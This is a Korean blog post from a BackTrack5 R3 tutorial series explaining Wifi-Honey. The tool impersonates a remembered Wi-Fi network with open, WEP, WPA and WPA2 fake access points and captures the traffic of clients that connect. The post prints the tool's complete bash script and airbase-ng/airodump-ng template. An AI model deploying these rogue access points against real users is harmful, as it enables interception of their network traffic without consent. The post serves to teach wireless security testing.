Open Source/BackTrack

[BackTrack5 R3] Wifi-Honey

DarkSoul.Story 2013. 2. 19. 14:59
반응형





1. 개요


Cafe-Latte Attack이나 Hirte Attack이 성립할 수 있는 이유는 AP에한번이라도 접속한 클라이언트들은 이전에 연결했던 AP의 접속Profile List를 가지고 있어, 주변에 이전에 접속한 AP가 있는지 지속적으로 탐색하고, 동일한 SSID가 존재 할 경우 연결하려고 하기 때문에 결국 주변 AP가 존재 하지 않아도 공격이 가능 하다고 했다. 

 

하지만 공격자는 클라이언트의 Probe Request를 캡처 하였더라도 해당 SSID가 어떤 암호화 방식을 사용하는지 파악하기 힘들다. 공격자가 동일한 SSID로 허니팟을 만들었더라도 암호화 방식이 다르면 연결이 되지 않는다. 결국 공격자는 클라이언트가 탐색하고 있는 SSID가 어떤 암호화 방식을 사용하는 알아내는것이 가장 중요하다.  클라이언트가 탐색하고 있는 SSID의 암호화 방식을 알아내는 동시에 패킷을 캡처 한다.


2. 테스트 환경

BackTrack5 R3


3. 상세 분석


wifihoney를 처음 시작하면, 아래와 같은 화면을 볼 수 있다.



사용방법은 위에서도 보듯이 [./wifi_honey.sh <essid : SSID명> <channel> <interface>] 만 입력하면 된다.
채널과 인터페이스를 지정하지 않고, wifihoney를 실행하면 기본적으로 채널은 1번을, 인터페이스는 wlan0를 이용하게 된다.

SSID와 채널, 인터페이스를 입력하고, 실행 시키면 아래와 같이 모니터 모드의 인터페이스를 4개를 생성한다.


모니터 모드 인터페이스 4개를 생성하면, 입력한 채널과 SSID를 이용하여 가짜 AP를 생성한다.


이제 소스코드를 살펴보자. wifihoney의 소스코는 매우 간단하며, wifi_honey.sh / wifi_honey_template.rc 두개로 이루어졌다. 먼저 wifi_honey.sh를 살펴 보자.

#!/usr/bin/env bash

 
if [[ -z "$1" ]]

then

        echo "Missing ESSID"

        exit 1

fi

 
if [ "$1" == "-h" -o "$1" == "-?" ]

then

        echo "Usage: $0 <essid> <channel> <interface>"

        echo

        echo "Default channel is 1"

        echo "Default interface is wlan0"

        echo

        echo "Robin Wood <robin@digininja.org>"

        echo "See Security Tube Wifi Mega Primer episode 26 for more information"

        exit 1

fi

 
ESSID=$1

CHANNEL=$2

INTERFACE=$3

 
if [[ "$CHANNEL" == "" ]]

then

        CHANNEL=1

fi

 
if [[ "$INTERFACE" == "" ]]

then

        INTERFACE="wlan0"

fi

 
x=`iwconfig mon4`

if [[ "$x" == "" ]]

then

        airmon-ng start $INTERFACE 1

        airmon-ng start $INTERFACE 1

        airmon-ng start $INTERFACE 1

        airmon-ng start $INTERFACE 1

        airmon-ng start $INTERFACE 1

fi

 
sed "s/<ESSID>/$ESSID/" wifi_honey_template.rc | sed "s/<CHANNEL>/$CHANNEL/" > screen_wifi_
honey.rc

screen -c screen_wifi_honey.rc


wifi_honey.sh의 역할은 입력받은 인터페이스를 바탕으로 airmon-ng를 이용하여, 인터페이스를 모니터 모드의 인터페이스로 4개를 만든 다음 wifi_honey_template.rc에 입력받은 SSID, 채널을 넣는다. 그 후 screen_wifi_honey.rc를 생성한다.

wifi_honey_template.rc는 아래와 같은 소스코드로 이루어져 있다.

startup_message off

caption always "%{= kw}%-w%{= BW}%n %t%{-}%+w %-= @%H - %LD %d %LM - %c"

 
screen -t Unencrypted airbase-ng -a aa:aa:aa:aa:aa:aa -c <CHANNEL> --essid <ESSID> mon1

screen -t WEP airbase-ng -a bb:bb:bb:bb:bb:bb -c <CHANNEL> --essid <ESSID> -W 1 mon2

screen -t WPA airbase-ng -a cc:cc:cc:cc:cc:cc -c <CHANNEL> --essid <ESSID> -W 1 -z 2 mon3

screen -t WPA2 airbase-ng -a dd:dd:dd:dd:dd:dd -c <CHANNEL> --essid <ESSID> -W 1 -Z 4 mon4

screen -t airodump airodump-ng -w cap --channel <CHANNEL> mon0


wifi_honey_template.rc는 입력받은 SSID, 채널을 바탕으로 airbase-ng를 이용하여, 공개, WEP, WPA, WPA2 가짜 AP를 생성한다. 가짜 AP가 생성되면, ariodump를 이용하여 패킷을 캡처하게 된다.





반응형

'Open Source > BackTrack' 카테고리의 다른 글

[BackTrack5 R3] Creddump  (0) 2013.03.04
[BackTrack5 R3] Rainbowcrack  (0) 2013.02.21
[BackTrack5 R3] HTExploit  (0) 2013.02.14
[BackTrack5 R3] Uberharvest  (0) 2013.02.12
[BackTrack5 R3] Ophcrack-GUI  (0) 2013.02.12